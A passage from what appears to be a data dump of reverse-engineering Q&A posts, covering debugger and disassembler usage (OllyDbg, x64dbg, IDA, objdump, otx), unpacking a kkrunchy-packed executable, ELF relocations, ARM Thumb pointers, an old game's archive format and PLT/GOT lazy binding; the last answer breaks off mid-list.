    I am not looking for an explanation of this particular construct, but rather a documentation for the whole syntax. How can I find that?

    \n", "Title": "What syntax does OllyDbg follow in its dissassembly window?", "Tags": "|disassembly|assembly|ollydbg|", "Answer": "

    OllyDbg uses the MASM/Intel syntax for disassembly. You can get the basic documentation at http://www.cs.virginia.edu/~evans/cs216/guides/x86.html. The Intel developer manuals can give you more detail about what specific instructions do and what segments mean (in your case the memory location [ESP+8] uses the SS segment).

    \n\n

    On Windows user mode it is safe to ignore all segments (SS:[ESP+8] means exactly the same as DS:[ESP+8]), only the FS (32 bit) and GS (64 bit) segments have a meaning. See this page for more information.

    \n\n

    A good resource is Basics of Assembler by Lena151 it should get you up to speed if you're not familiar with (dis)assembly. In x64dbg you can get brief descriptions and the relevant intel manual section for every instruction with a click of the mouse which might come in handy too.

    \n" }, { "Id": "14012", "CreationDate": "2016-11-21T12:37:17.997", "Body": "

    When I open a program in a debugger like OllyDbg or x64dbg, there are a lot of instructions before the initially selected instruction. Why does the debugger choose this instruction specifically to have it under the cursor? What is with the instructions on the list that appear before it? Were some of them executed?

    \n", "Title": "What are all those instructions before the initally selected instruction in OllyDbg?", "Tags": "|ollydbg|", "Answer": "

    Probably you are talking about the \"system breakpoint\". This is the location that the OS uses to break so the debugger can do its work. In x64dbg you can get more information by loading symbols for ntdll.dll. You will notice that the function is called LdrpDoDebuggerBreak. If you're not interested in the Windows loader you can simply disable it.

    \n\n

    \"disable

    \n\n

    The actual exception for the system breakpoint is STATUS_BREAKPOINT. The LdrpDoDebuggerBreak uses the INT3 instruction to throw this exception to the debugger. Basically the OS is signalling the debugger that it finished the process initialization phase and also giving the debugger a chance to modify the thread context or process memory.

    \n\n

    You can see it in the code:

    \n\n

    \"int3\"

    \n" }, { "Id": "14034", "CreationDate": "2016-11-23T20:13:06.000", "Body": "

    I'm trying to write my own disassembler for PE,PE+ and ELF executables but I'm stuck with a big problem on PE and PE+ executables.

    \n\n

    I'm checking my work by comparing my output with objdump, and I found some (bad) opcodes appear in the disassembled program. I immediately checked the instruction manual to control these values; they are shown as invalid in instruction manual. Some examples:

    \n\n

    Example from PE files:

    \n\n
    40dad1:       d6                      (bad)\n
    \n\n

    Some other:

    \n\n
    402f1c:       ff                      (bad)\n402f1d:       ff                      (bad)\n402f1e:       ff                      (bad)\n402f1f:       ff 01                   incl   (%ecx) #at last a valid instruction\n
    \n\n

    These are valid when I check the manual, but I cannot understand this (it's a PE+ file, architecture is AMD64):

    \n\n
    f0 db a5 4e 9c 95 68    lock (bad) [rbp+0x68959c4e]\n\nf0 is lock prefix\ndb means its a x87 instruction\na5 is ModRM byte(10 100 101) and by looking mod and reg fields we can say it's an invalid instruction\n4e 9c 95 68 is used as 4byte disp but why ?\n
    \n\n

    Do we assume that it's an invalid indirect x87 opcode and we continue to read as it's a valid opcode? I suppose objdump chooses this path.

    \n\n

    And what are these (bad) instructions for? It's clear that they are not for aligning; or am I doing something wrong?

    \n\n

    Btw, I'm trying to disassemble my old projects and FireFox to check if my program works. I'm using objdump -z -d -M intel XXYYZZ.exe to disassemble.

    \n", "Title": "(bad) opcodes of objdump", "Tags": "|disassembly|pe|objdump|float|", "Answer": "

    You are correct, and objdump is actually wrong to disassemble such instruction, only to mark it as (bad) in a later stage.

    \n\n

    Here is how it works:

    \n\n
    db a5 4e 9c 95 68    lock (bad) [rbp+0x68959c4e]\n
    \n\n

    db is one of the 87 FPU extensions, and a5 indeed is the Mod/rm byte. Now, for the FPU extensions, the rm part is \"as usual\" for all other mod/rm instructions, but the mod part indicates which instruction to use, from this small table:

    \n\n
    DB\u00a0/0\u00a0\u00a0\u00a0\u00a0\u00a0FILD\u00a0mem4i\nDB\u00a0/2\u00a0\u00a0\u00a0\u00a0\u00a0FIST\u00a0mem4i\nDB\u00a0/3\u00a0\u00a0\u00a0\u00a0\u00a0FISTP\u00a0mem4i\nDB\u00a0/5\u00a0\u00a0\u00a0\u00a0\u00a0FLD\u00a0mem10r\nDB\u00a0/7\u00a0\u00a0\u00a0\u00a0\u00a0FSTP\u00a0mem10r\n
    \n\n

    where the /x number indicates what got encoded in the mod part of the mod/rm byte (for completeness: db eX also forms some valid opcodes).

    \n\n

    So of all available codes, those with the mod/rm patterns of ..001..., ..100.. and ..110... form 'bad' codes - but you only know this after parsing the mod/rm byte and checking this specific table for the opcode DB.

    \n\n

    Now apparently objdump parses the entire instruction - including the 4-byte immediate value - before checking if the base instruction is valid to start with. I suppose it's just a table that says

    \n\n
    \"fild\", \"(bad)\", \"fist\", \"fistp\", \"(bad)\", \"fld\", \"(bad)\", \"fstp\"\n
    \n\n

    and the (bad) entries get used as if they are actually valid.

    \n\n

    One could argue that it's immaterial, because both ways lead to the conclusion the opcode is 'bad', but with objdump's method, you are not only discarding the first byte as 'bad' but an entire 6 bytes. It is at least theoretically possible the first byte (which causes the entire next sequence to be invalid) is data but followed immediately by correct code, which would then start with the sequence a5 4e 9c 95 68 - which is skipped entirely by objdump.

    \n\n
    \n

    .. what are these (bad) instructions for?

    \n
    \n\n

    I suppose, looking at the other instructions that you show, that you are disassembling a wrong part of the executable and this is not supposed to be code at all but data instead.

    \n\n

    You should check the PE/PE++ headers to find the sections, and then only attempt disassembly on a section marked as \"code\" and/or \"executable\" in its Characteristics field. Even then, it's possible to start at a 'wrong' position (e.g., in the middle of a longer instruction) or inside data (which may also reside inside a .code section).

    \n" }, { "Id": "14038", "CreationDate": "2016-11-24T17:10:56.173", "Body": "

    otx is a tool used to disassemble Mach-O binaries on OS X 10.0-10.4. It is an enhancement on top of otool to add additional symbol information to its disassembled output.

    \n\n

    The main site and SVN repository (http://otx.osxninja.com/) appears to be long dead. I've seen a few repos on GitHub but has anyone maintained or updated otx to work on modern versions of Mac OS?

    \n", "Title": "Is there an up to date fork of otx?", "Tags": "|osx|", "Answer": "

    The most up to date fork I have found of otx is Cai's. I have tried the CLI interface of his v1.7: Build 566 release on macOS 10.11.6 and it runs fine for basic disassembly, albeit on invoking it using -o to 'check the executable for obfuscation' against a little test code I wrote, it terminates with a

    \n\n
    \n

    Terminating app due to uncaught exception\n 'NSInvalidArgumentException', reason: '-[X8664Processor\n verifyNops:numFound:]: unrecognized selector sent to instance\n 0x7fb7e5806200'

    \n
    \n\n

    In my opinion there are better suited tools available today to disassemble binaries on OSX, among which even otool nowadays does not seem like it lacks functionality compared to otx for ad-hoc disassembly.

    \n\n

    Let's have a quick look by disassembling the section of a code which reads (essentially the 32bit version of 32-__builtin_clz(n)):

    \n\n
    static uint8_t f1_u32(uint32_t n) {\n    return n ? 1 + f1_u32(n/2) : 0;\n}\n
    \n\n

    Using otool -t -d -vV -j -q -H -P ./kk 2>/dev/null | grep -A24 \"^_f1_u32:\" we get:

    \n\n
    _f1_u32:\n0000000100000de0    55  pushq   %rbp\n0000000100000de1    48 89 e5    movq    %rsp, %rbp\n0000000100000de4    48 83 ec 10     subq    $0x10, %rsp\n0000000100000de8    89 7d fc    movl    %edi, -0x4(%rbp)\n0000000100000deb    83 7d fc 00     cmpl    $0x0, -0x4(%rbp)\n0000000100000def    0f 84 1b 00 00 00   je  0x100000e10\n0000000100000df5    8b 45 fc    movl    -0x4(%rbp), %eax\n0000000100000df8    c1 e8 01    shrl    $0x1, %eax\n0000000100000dfb    89 c7   movl    %eax, %edi\n0000000100000dfd    e8 de ff ff ff  callq   _f1_u32\n0000000100000e02    0f b6 f8    movzbl  %al, %edi\n0000000100000e05    83 c7 01    addl    $0x1, %edi\n0000000100000e08    89 7d f8    movl    %edi, -0x8(%rbp)\n0000000100000e0b    e9 0a 00 00 00  jmp 0x100000e1a\n0000000100000e10    31 c0   xorl    %eax, %eax\n0000000100000e12    89 45 f8    movl    %eax, -0x8(%rbp)\n0000000100000e15    e9 00 00 00 00  jmp 0x100000e1a\n0000000100000e1a    8b 45 f8    movl    -0x8(%rbp), %eax\n0000000100000e1d    88 c1   movb    %al, %cl\n0000000100000e1f    0f b6 c1    movzbl  %cl, %eax\n0000000100000e22    48 83 c4 10     addq    $0x10, %rsp\n0000000100000e26    5d  popq    %rbp\n0000000100000e27    c3  retq\n0000000100000e28    0f 1f 84 00 00 00 00 00     nopl    (%rax,%rax)\n
    \n\n

    Using ./otx -d ./kk 2>/dev/null | grep -A26 \"^_f1_u32:\", this is the result:

    \n\n
    _f1_u32:\n    +0  0000000100000de0  55                 pushq    %rbp\n    +1  0000000100000de1  4889e5             movq     %rsp,         %rbp\n    +4  0000000100000de4  4883ec10           subq     $0x10,        %rsp\n    +8  0000000100000de8  897dfc             movl     %edi,         -0x4(%rbp)\n   +11  0000000100000deb  837dfc00           cmpl     $0x0,         -0x4(%rbp)\n   +15  0000000100000def  0f841b000000       je       0x100000e10\n   +21  0000000100000df5  8b45fc             movl     -0x4(%rbp),   %eax\n   +24  0000000100000df8  c1e801             shrl     $0x1,         %eax\n   +27  0000000100000dfb  89c7               movl     %eax,         %edi\n   +29  0000000100000dfd  e8deffffff         callq    _f1_u32\n   +34  0000000100000e02  0fb6f8             movzbl   %al,          %edi\n   +37  0000000100000e05  83c701             addl     $0x1,         %edi\n   +40  0000000100000e08  897df8             movl     %edi,         -0x8(%rbp)\n   +43  0000000100000e0b  e90a000000         jmp      0x100000e1a   Anon4\n   +48  0000000100000e10  31c0               xorl     %eax,         %eax\n   +50  0000000100000e12  8945f8             movl     %eax,         -0x8(%rbp)\n   +53  0000000100000e15  e900000000         jmp      0x100000e1a   Anon4\n\nAnon4:\n    +0  0000000100000e1a  8b45f8             movl     -0x8(%rbp),   %eax\n    +3  0000000100000e1d  88c1               movb     %al,          %cl\n    +5  0000000100000e1f  0fb6c1             movzbl   %cl,          %eax\n    +8  0000000100000e22  4883c410           addq     $0x10,        %rsp\n   +12  0000000100000e26  5d                 popq     %rbp\n   +13  0000000100000e27  c3                 retq\n   +14  0000000100000e28  0f1f840000000000   nopl     (%rax,%rax)\n
    \n\n

    Besides cosmetic differences, we actually get (and expect) very similar output.

    \n\n

    Unbeknownst of your agenda, in recent times I have found myself using radare2 or the hopper GUI tool rather than fiddling with otool or otx when it comes to disassembly.

    \n\n

    In hopper, you even get a decent pseudo code out of the disassembly (could be even better if hopper interpreted the & 0xff as a hint towards an unsigned variable in this case):

    \n\n
    int _f1_u32(int arg0) {\n    var_4 = arg0;\n    if (var_4 != 0x0) {\n            var_8 = (_f1_u32(var_4 >> 0x1) & 0xff) + 0x1;\n    } else {\n            var_8 = 0x0;\n    }\n    rax = var_8 & 0xff;\n    return rax;\n}\n
    \n" }, { "Id": "14039", "CreationDate": "2016-11-24T17:12:24.840", "Body": "

    I'm trying to figure out how to unpack kkruncy executable, sources here and binaries here, anyone knows how to do it?

    \n\n

    My main idea was testing out some little hello world exes compressed with kkrunchy but for some reason the exes will crash. Ie:

    \n\n
    #define UNICODE\n\n#include <windows.h>\n\nvoid start()\n{\n    MessageBox(NULL, L\"X\", L\"Y\", MB_OK);\n}\n
    \n\n

    or:

    \n\n
    global start\n; kernel32.lib Exports\nextern _ExitProcess@4\nextern _GetStdHandle@4\nextern _WriteFile@20\n\nsection .text\n\nstart:\n    ; DWORD  bytes;\n    mov     ebp, esp\n    sub     esp, 4\n\n    ; hStdOut = GetstdHandle( STD_OUTPUT_HANDLE)\n    push    -11\n    call    _GetStdHandle@4\n    mov     ebx, eax\n\n    ; WriteFile( hstdOut, message, length(message), &bytes, 0);\n    push    0\n    lea     eax, [ebp-4]\n    push    eax\n    push    (message_end - message)\n    push    message\n    push    ebx\n    call    _WriteFile@20\n\n    ; ExitProcess(0)\n    push    0\n    call    _ExitProcess@4\n\n    ; never here\n    hlt\nmessage:\n    db      'Hello', 10, 13, 0\nmessage_end:\n
    \n\n

    I've used the default parameters but the executables are broken. In any case, how could i figure out how to unpack kkrunchy executables?

    \n", "Title": "How to unpack kkrunchy executables?", "Tags": "|tools|unpacking|decompress|packers|", "Answer": "

    For my unpacking session I'm using x64dbg and I will unpack the executable in kkrunchy_023a2.zip.

    \n\n

    Get to the entry point and enable trace record. Also bind the Trace into beyond trace record option to say Ctrl+/.

    \n\n

    \"trace

    \n\n

    Next up, press G (for graph) and you should see the return blocks marked in red.

    \n\n

    \"graph

    \n\n

    Put a breakpoint on both of them, run, step and you will notice a function with a suspiciously large graph...

    \n\n

    \"large

    \n\n

    Now go ahead and use that Trace into beyond trace record function to keep stepping through while skipping the instructions that were already traced over. You will quickly notice that this algorithm is exhausting the (default) 50000 step count and a bit of clicking around will tell you where the loop condition is.

    \n\n

    \"loop

    \n\n

    Put a hardware breakpoint on that destination, run and you should see the original entry point.

    \n\n

    \"oep\"

    \n\n

    Next up open Scylla Ctrl+I, hit IAT Autosearch, OK, Get Imports, Dump, Fix Dump and you have an unpacked executable. I will leave it upto you to properly clean out the garbage from that dump...

    \n" }, { "Id": "14043", "CreationDate": "2016-11-25T06:42:26.393", "Body": "

    I'm using the IDApro free version and I was wondering why sometimes there could be a instruction like...

    \n\n
    mov [esp + 1140h + var_1234], ebx\n
    \n\n

    and if you click inside the bracket, and hit the letter K (Stands for the stack variable view)

    \n\n

    it can become something like

    \n\n
    mov [esp], ebx\n
    \n\n

    or

    \n\n
    mov [esp+4], ebx\n
    \n\n

    Why is there a huge jump from 1140h to suddenly nothing? What is happening here?

    \n\n

    Thank you in advance.

    \n", "Title": "Stack variable information removed in IDA pro (free version)?", "Tags": "|ida|stack|stack-variables|", "Answer": "

    IDA declares local variables as var_XXX at the start of function

    \n\n

    In the paste below var_108 is declared as dword ptr -108h

    \n\n

    So 0x10c - 108 = 4 \nIf You hit K \nida would show you

    \n\n
    .text:0040115C                 lea     eax, [esp+4]\n
    \n\n

    If I find it confusing and prefer [esp+4] to [esp + x + (-y) ] I use the script in my answer to this question

    \n\n

    https://stackoverflow.com/questions/23199403/differences-in-ollydbg-and-ida-pro-for-movsx-edx-byte-ptr-especx8-command/23604013#23604013

    \n\n
    .text:00401150 sub_401150      proc near               ; CODE XREF: sub_4011BC+53p\n.text:00401150\n.text:00401150 var_108         = dword ptr -108h\n.text:00401150 arg_0           = dword ptr  8\n.text:00401150\n.text:00401150                 push    ebx\n.text:00401151                 add     esp, 0FFFFFEF8h\n.text:00401157                 push    105h\n.text:0040115C                 lea     eax, [esp+10Ch+var_108]\n
    \n\n

    As RedLexus commented there is a reason why the local vars are negative

    \n\n

    when you push arguments and call a function the stack layout will be like this

    \n\n
    esp+0x00 -> return addrss\nesp+0x04 _. arguments that were pushed follows from here\n
    \n\n

    every thing that are negative like
    \nesp-0x4 upto stack top address viz esp - 0xxxx are utilizable by the function to store temporary variables that are specific only in the scope of function

    \n\n

    that is if you have a function

    \n\n
    rettype calling convention somefunction (args 1.2,....,n)\n{\nlocal vars \nchar foo[0x100] \nulong blah\nint bar;\nfunction body follows\n\n}\n
    \n\n

    the compiler/assembler would theoretically provide space for int bar at esp -0x108

    \n" }, { "Id": "14051", "CreationDate": "2016-11-27T01:13:09.837", "Body": "

    I'm using IDA Pro and WinDbg as a debugger. So I loaded an executable process into it. And now I need to know the entry point (or base address) of that loaded executable, the same as I would get from calling these APIs:

    \n\n
    MODULEINFO mi = {0};\nif(::GetModuleInformation(::GetCurrentProcess(), ::GetModuleHandle(NULL), &mi, sizeof(mi)))\n{\n    //Needed entry point is:\n    pEntryPoint = mi.EntryPoint;\n}\n
    \n\n

    I found this reference, but when I do:

    \n\n
    idaapi.get_imagebase()\n
    \n\n

    it gives me the error:

    \n\n
    \n

    Operation not supported in current debug session 'idaapi.get_imagebase()'

    \n
    \n\n

    \"enter

    \n\n

    Sorry, I'm new to IDA. What am I doing wrong?

    \n", "Title": "How to get a entry point of loaded process with IDA Pro and WinDbg as a debugger?", "Tags": "|ida|windows|windbg|entry-point|", "Answer": "

    You need to switch to a different command line. Currently, you're using the WinDbg command line, which allows you to send commands to WinDbg instead of IDAPython:

    \n\n

    \"enter

    \n\n

    Click on WinDbg, or press Ctrl\u2191 to switch to IDAPython, where idaapi.get_imagebase() works fine:

    \n\n

    \"enter

    \n\n

    However, this doesn't really answer your question. What you want is the entry point, and to find it, you can either press CtrlE in IDA, or find it with WinDbg:

    \n\n

    \"enter

    \n\n

    The command is:

    \n\n
    .printf \"0x%X\", $exentry\n
    \n" }, { "Id": "14053", "CreationDate": "2016-11-27T07:05:02.000", "Body": "

    I am currently disassembling quite a large file >100MB. And I was wondering what factors reduce the amount of time needed to disassemble a large file completely.

    \n\n\n", "Title": "Is there a way to improve disassembler speed?", "Tags": "|ida|disassembly|", "Answer": "

    First, there are many algorithms used to disassemble a binary stream. The two most used ones are : linear sweep and recursive traversal (sometimes a hybrid), which present different performance and precision/reliability issues (how much code isn't disassembled properly : bad opcode, data interpreted as code, ...).
    \nSo before you tackle implementation related performance issues you should check the computational complexity of the disassembler you're using.

    \n\n

    Second, more RAM and faster I/O is - almost - always a performance enhancer. If you are disassembling a +100MB binary file, you'll need all the help you can from the hardware. Therefore, having a fast SSD could reduce the I/O overhead experienced with a traditional HDD. For RAM, the larger the size the better, but keep in mind that the differences in performance between DDR, DDR2, DDR3, ECC, ... are quite substantial.

    \n\n

    Now with regard to the CPU core count and frequency's effects on disassembly performance, it is pretty hard to evaluate. Why? Well, you must ask yourself the following set of questions :

    \n\n
      \n
    1. Does the disassembler you're using implement a parallel disassembly algorithm ?
      2. \n
    2. If yes, how does the performance of the disassembler relate/scale with the core count ? If no, then one core will suffice.
      3. \n
    \n\n

    FYI, a high core frequency (each core can have a frequency domain of its own separate from his neighbor's) could lead to disastrous performance if RAM is too slow. In the industry we usually settle for a core frequency of at most 1.8x the frequency of RAM. Otherwise, some serious performance bottlenecks (bandwidth, memory access latency, ...) start to tighten up and choke the running stream of instructions.

    \n\n

    From what I know, IDA doesn't perform any parallel disassembly - I might be wrong, always check. Therefore, the first two points you cited in your question don't really matter.

    \n\n

    The simplest way to answer your question would be to say that : the complexity of the disassembly algorithm and the way the implementation takes advantage of the underlying hardware are the key factors for performance.

    \n\n

    Edit :

    \n\n

    [Bonus]

    \n\n

    If you wish to program a parallel disassembler you can do so this way :

    \n\n
      \n
    1. Choose a disassembler library (Udis86 for example)
      2. \n
    2. Extract the sections and add them to a hashtab which contains a boolean variable - for each section - referring to its state (disassembled '1', not disassembled '0')
      3. \n
    3. Write a threadable function which task is to pick a section in the hashtab and disassemble it (you'll have to manage the sections order, ...). Once the task is done, update the state (you'll have to use a lock : a mutex) and pick another one if there are any left.
      4. \n
    \n\n

    This might look easy to do, but in fact it is a bit challenging for that it depends on the flexibility of the disassembly library. Honestly, +100MB binaries are quite rare and commercial/available tools aren't usually designed to handle that much code/data optimally.

    \n\n

    If you need any additional/more technical details let me know, I'll be glad to develop some points.

    \n" }, { "Id": "14054", "CreationDate": "2016-11-27T07:53:33.750", "Body": "

    So here is a byte sequence 45 A6 F7 in the vtable.
    \nIt points to a subroutine which is located at F7A644.
    \nIDA expresses it as \"function_symbol +1\"
    \nWhy does it plus one?
    \nWhy is it 45 A6 F7 rather than 44 A6 F7?

    \n", "Title": "Why does vtable function pointers have +1?", "Tags": "|ida|disassembly|arm|vtables|", "Answer": "

    If it is ARM architecture that may use THUMB encoding it can be result of the following issue:

    \n\n

    If I remember correctly, calls to the virtual functions can be executed with assembly command similar to BLX as indirect jump, which allows switching between ARM and THUMB encoding. In this case this + 1 means that the target of the jump is encoded in THUMB.

    \n\n

    See here for more information about this mechanism.

    \n\n
    \n

    All these instructions cause a branch to label, or to the address\n contained in Rm. In addition:

    \n \n
      \n
    • The BL and BLX instructions copy the address of the next instruction into lr (r14, the link register).
      • \n
    • The BX and BLX instructions can change the processor state from ARM to Thumb, or from Thumb to ARM. BLX label always changes the state. BX\n Rm and BLX Rm derive the target state from bit[0] of Rm:
      • \n
    • if bit[0] of Rm is 0, the processor changes to, or remains in, ARM state
      • \n
    • if bit[0] of Rm is 1, the processor changes to, or remains in, Thumb state.
      • \n
    \n
    \n" }, { "Id": "14060", "CreationDate": "2016-11-28T19:50:22.463", "Body": "

    I have some files with the following extensions: .ENV .LEV .VHC

    \n\n

    Those are from a pretty old game (1995) that is abandonware, i wanted to open them for a testing project in Unity, but i don't know what could be the real extension. After using a Hex editor, i can read some pieces of text, but I can't identify anything telling me what was the software used to create the file. I think they are models, maps, and sprites/textures.

    \n\n

    Inside the file i found some \".TXT\", \".3DW\" and \".SPR\".

    \n\n

    The files are available on dropbox if someone wants to have a look at them.

    \n", "Title": "Is it possible to indentify real file format from a 1995 file?", "Tags": "|file-format|", "Answer": "

    If the game is from 1995, it's quite certain that the file format is specific to this game and the game studio that produced it. Game engines like Unity weren't a thing then; Studios wrote their software in C, maybe C++, and invented their own files and packers.

    \n\n

    So, the \"real\" file format is what you're seeing; and the software used to create the file was very probably written specifically for this game and has since been long lost, especially if the game is abandonware which probably means the company behind it went defunct at some time. So, don't expect to be able to find any software these days that can read your files directly.

    \n\n

    What you might be able to do is find out how the internal files are packed together and write some C/Perl/Python/... code to extract the .TXT, .3DW and .SPR contents, try software like file and trid if those contents are some generic format (unlikely but at least not impossible), then analyze these individual files in a hex editor to find their structure. But, as malikcjm said, it's very likely that you won't be able to read the files unless you disassemble the game binary to check how the game itself reads them, derive the file format from that, and then write some code yourself to convert that format to something modern.

    \n\n

    If you can, you might try uploading the files somewhere and provide a link, as well as tell us which game they are from and who produced it; chances are someone who has seen similar files might recognize them.

    \n\n

    Update:

    \n\n

    When I download the files and compress them, the size of at least the two CITY files doesn't shrink much:

    \n\n
    gbl@roran:~/Temp/Winrace$ ls -l\ntotal 788\n-rw-r--r-- 1 gbl users  44423 Dec  1 05:10 CITY.ENV\n-rw-r--r-- 1 gbl users 242641 Dec  1 05:10 CITY1.LEV\n-rw-r--r-- 1 gbl users  52720 Dec  1 05:10 MINI.VHC\n-rw-r--r-- 1 gbl users 462848 Dec  1 05:10 WINRACE.EXE\ngbl@roran:~/Temp/Winrace$ gzip *\ngbl@roran:~/Temp/Winrace$ ls -l\ntotal 472\n-rw-r--r-- 1 gbl users  38260 Dec  1 05:10 CITY.ENV.gz\n-rw-r--r-- 1 gbl users 223044 Dec  1 05:10 CITY1.LEV.gz\n-rw-r--r-- 1 gbl users  26003 Dec  1 05:10 MINI.VHC.gz\n-rw-r--r-- 1 gbl users 186138 Dec  1 05:10 WINRACE.EXE.gz\n
    \n\n

    See how the .EXE compresses much better than the CITY* files? So it's likely those files are compressed, but with an algorithm that's a bit weaker than gzip. This would explain why you can't really find useful strings in them as well.

    \n\n

    Now, let's check the hex dump of CITY.ENV which begins with:

    \n\n
    00000000  43 49 54 59 2e 54 58 54 00 6b 00 00 00 a5 00 00   CITY.TXT.k......\n00000010  00 03 fb 0d 0a 01 00 20 20 73 70 6f ff 74 20 31   .......  spo.t 1\n00000020  20 52 55 42 42 ef 45 52 46 58 05 00 20 33 2c d7    RUBB.ERFX.. 3,.\n00000030  31 37 2c 17 00 30 01 58 44 55 af 53 54 31 5f 14   17,..0.XDU.ST1_.\n00000040  30 32 1d 08 35 7e 21 58 42 49 47 53 50 4c 36 08   02..5~!XBIGSPL6.\n00000050  da 37 38 32 03 38 32 20 51 08 41 53 41 48 6a 00   .782.82 Q.ASAHj.\n00000060  16 18 1c 10 5f 10 61 38 33 6b 08 77 41 52 4b 33   ...._.a83k.wARK3\n00000070  20 36 2c 34 7a 10 03 2d 31 41 10 a2 00 43 41 52    6,4z..-1A...CAR\n00000080  53 45 4c 2e 52 41 57 00 d2 6c 00 00 00 fd 00 00   SEL.RAW..l......\n
    \n\n

    Obviously, there's a filename CITY.TXT at offset 0000, and another one at offset 007D. So the question is, how does the decoder know how long a file is, and where the next one starts? And how does it know how long the file name is, as they don't all have the same length?

    \n\n

    Both of these file names end with a \\0, the string terminator in C, so let's just assume this \\0 doesn't have another meaning. Next is 6B000000, or 0000006B in little-endian that x86 uses, which is just a bit less than the offset of the next file name. So this might have to do with the compressed length of the file.

    \n\n

    Checking this with the next file at 007D, we find a length of 6CD2. Adding the start of the file name to this, we get 6D4D. And indeed, a few bytes behind that, at 6D63, we have

    \n\n
    00006d60  03 dd d5 52 55 42 42 45 52 46 58 2e 46 54 00 40   ...RUBBERFX.FT.@\n
    \n\n

    the next filename.

    \n\n

    So let's make a table - byte position of filename, filename, integer after filename, sum of byte position and integer, position of next filename, and offset that needs to be added to the sum to reach the next filename:

    \n\n
    0000    CITY.TXT        006B    006B    007D    +0012\n007D    CARSEL.RAW      6CD2    6D4D    6D63    +0016\n6D63    RUBBERFX.FT     0040    6DA3    6DB8    +0015\n6DB8    RUBBERFX.3DW    045F    7217    722C    +0015\n722C    PSPOTFX2.TM     1CBA    8EE6    8EFA    +0014\n8EFA    FDUST1_FX.FT    .....  <-- the first F might be spurious as the next file is DUST1.FX\n
    \n\n

    Obviously, the assumption that these 4 bytes are the length of the compressed bytes seems to be true, even when we don't know yet why the offsets (last column) aren't constant. Doesn't seem like they have to do with the length of the filename either, as the first two differ 2 in length but 4 in the offset, and the 3rd and 4th have the same offset but different lengths.

    \n\n

    Next, let's check the bytes behind that length byte and make another table:

    \n\n
    0000    CITY.TXT        006B    00A5\n007D    CARSEL.RAW      6CD2    FD00\n6D63    RUBBERFX.FT     0040    0076\n6DB8    RUBBERFX.3DW    045F    0BF0\n722C    PSPOTFX2.TM     1CBA    C000\n
    \n\n

    This number is always somewhat larger than the first one. As we already suspect the file is compressed, I'd think that's the uncompressed size.

    \n\n

    So you see, you can find out some stuff from just looking at the file itself. However, the question remains why the offsets in table 1 aren't constant, and which type of compression gets used. And, this is where you need a lot of experience and/or luck. Either, you've been using compression programs 20 years ago and remember some of them and their file formats, and this looks just like on of them. (It doesn't, to me, it's neither ARC nor ZIP). Or, you need to disassemble the file and check how the code does it. Unfortunately, I'm afraid there is no other way.

    \n" }, { "Id": "14074", "CreationDate": "2016-11-30T14:30:12.357", "Body": "

    How can I apply relocations of symbols in an elffile? I'm currently trying to archive this with pyelftools. Strangely, I could hardly find any information on how to do this, although some projects have to implement something like this (e.g. ida, angr, amoco, ...).

    \n\n

    In other words: I want to know where elf imports will be located in virtual memory. Of course, the sections should adhere to these relocations.

    \n\n

    Code snippets very appreciated.

    \n", "Title": "Relocate ELF symbols", "Tags": "|elf|symbols|", "Answer": "

    So after some toying around with elftools, I found the following solution for import-symbols:

    \n\n
        for section in self._elf.iter_sections():\n        if not isinstance(section, RelocationSection):\n            continue\n    symtable = self._elf.get_section(section['sh_link'])\n    for relocation in section.iter_relocations():\n        if not relocation['r_info_sym']:\n            continue\n        symbol = symtable.get_symbol(relocation['r_info_sym'])\n        yield ImportSymbol(relocation['r_offset'], symbol.name)\n
    \n\n

    The code is inspired by pyelftools readelf implementation

    \n\n

    Although pyelftools offers some relocation handling, I've not yet seen a binary for which that actually works. It will complain it doesn't know some relocation types, but for the future, I'll post this snippet:

    \n\n
    def _reloc_section(self, section):\n    rh = RelocationHandler(self._elf)\n    data = section.data()\n    relocation_section = rh.find_relocations_for_section(section)\n    if relocation_section:\n        try:\n            rh.apply_section_relocations(data, relocation_section)\n        except Exception as e:\n            print 'Could not relocate %s' % section.name\n    return data\n
    \n" }, { "Id": "14094", "CreationDate": "2016-12-02T21:07:06.647", "Body": "

    I am trying to become familiar with IDA by reversing a .bin file that I have compiled myself. The code is written in cpp and the open source code can be found here: https://github.com/openxc/vi-firmware

    \n\n

    Taking a look at the Makefile and linker files (in vi-firmware/src and vi-firmware/src/platform/lpc17xx/), you can see the Flash and RAM locations are called out in the comments. The microcontroller uses an LPC17xx (http://vi.openxcplatform.com/electrical/design/microcontroller.html) with and ARM 7 architecture.

    \n\n

    Therefore, when I load IDA, I select Binary file and set the Processor to ARM and Processor Options to ARM 7.

    \n\n

    In the next menu I configure the RAM and ROM according to the comments in vi-firmware/src/platform/lpc17xx/LPC17xx-bootloader.ld and then, after pressing OK, get the dialogue box telling me to \"Please move to what you think is an entry point\".

    \n\n

    I move 64KB (0x10000) into Flash (ROM) and hit 'C' to try to auto-analyse. Only a few lines translate to assembly.

    \n\n

    Is there anything else I can do here? I've combed the datasheet for the uC but haven't been able to find anything of use.

    \n", "Title": "Locating entry point in specific firmware .bin file using IDA Pro", "Tags": "|ida|binary-format|", "Answer": "

    (Disclaimer: I do not know ARM, this could be totally wrong)

    \n\n

    I loaded vi-default-firmware-FORDBOARD-ctv7.2.0.bin (downloaded from the releases page) into IDA with these settings:

    \n\n

    \"Settings

    \n\n

    Then, after putting the cursor at 0x10000, you have to press C, then scroll to the undefined bytes, then press C again. Scroll to the top of the function and press P to make it a function, and have a nice graph view with Space:

    \n\n

    \"How

    \n\n

    I don't have any experience with ARM, but this seems like a proper function graph to me:

    \n\n

    \"ARM

    \n" }, { "Id": "14100", "CreationDate": "2016-12-03T11:20:18.447", "Body": "

    Whenever there is a call to a function of a dynamically linked library (0x400586 in the example at the end), the call first leads to a few lines in the .plt section, which in turn starts with a jmp to an address found in the GOT (see 0x400450). It looks like this (unconditional!) jmp does not get executed the first time, which makes sense, as the GOT has not been set up yet, and will be done with the following lines (0x400456). But what kind of magic prevents the jmp at 0x400450 from being taken the first time?

    \n\n

    here's some code to clarify my question:

    \n\n
    0x400586: call 0x400450 <puts@plt>\n
    \n\n

    puts@plt then looks like this:

    \n\n
    0x400450: jmp QWORD PTR [rip+0x200bc2]\n0x400456: push 0x0\n0x40045b: jmp 0x400440\n
    \n", "Title": "How is the first jmp skipped in plt entry", "Tags": "|functions|got|plt|", "Answer": "

    In the file on disk, the GOT slot referenced in 0x400450 is initially set up with the address of the PLT stub at 0x400456.

    \n\n

    So, the jump is taken the first time and goes to 0x400456 which pushes the target symbol's index (0 here) and jumps to the resolver (PLT0) stub at 0x400440 which finally goes to the dynamic loader routine, which:

    \n\n
      \n
    1. looks up the target symbol's address using the symbol index
      2. \n
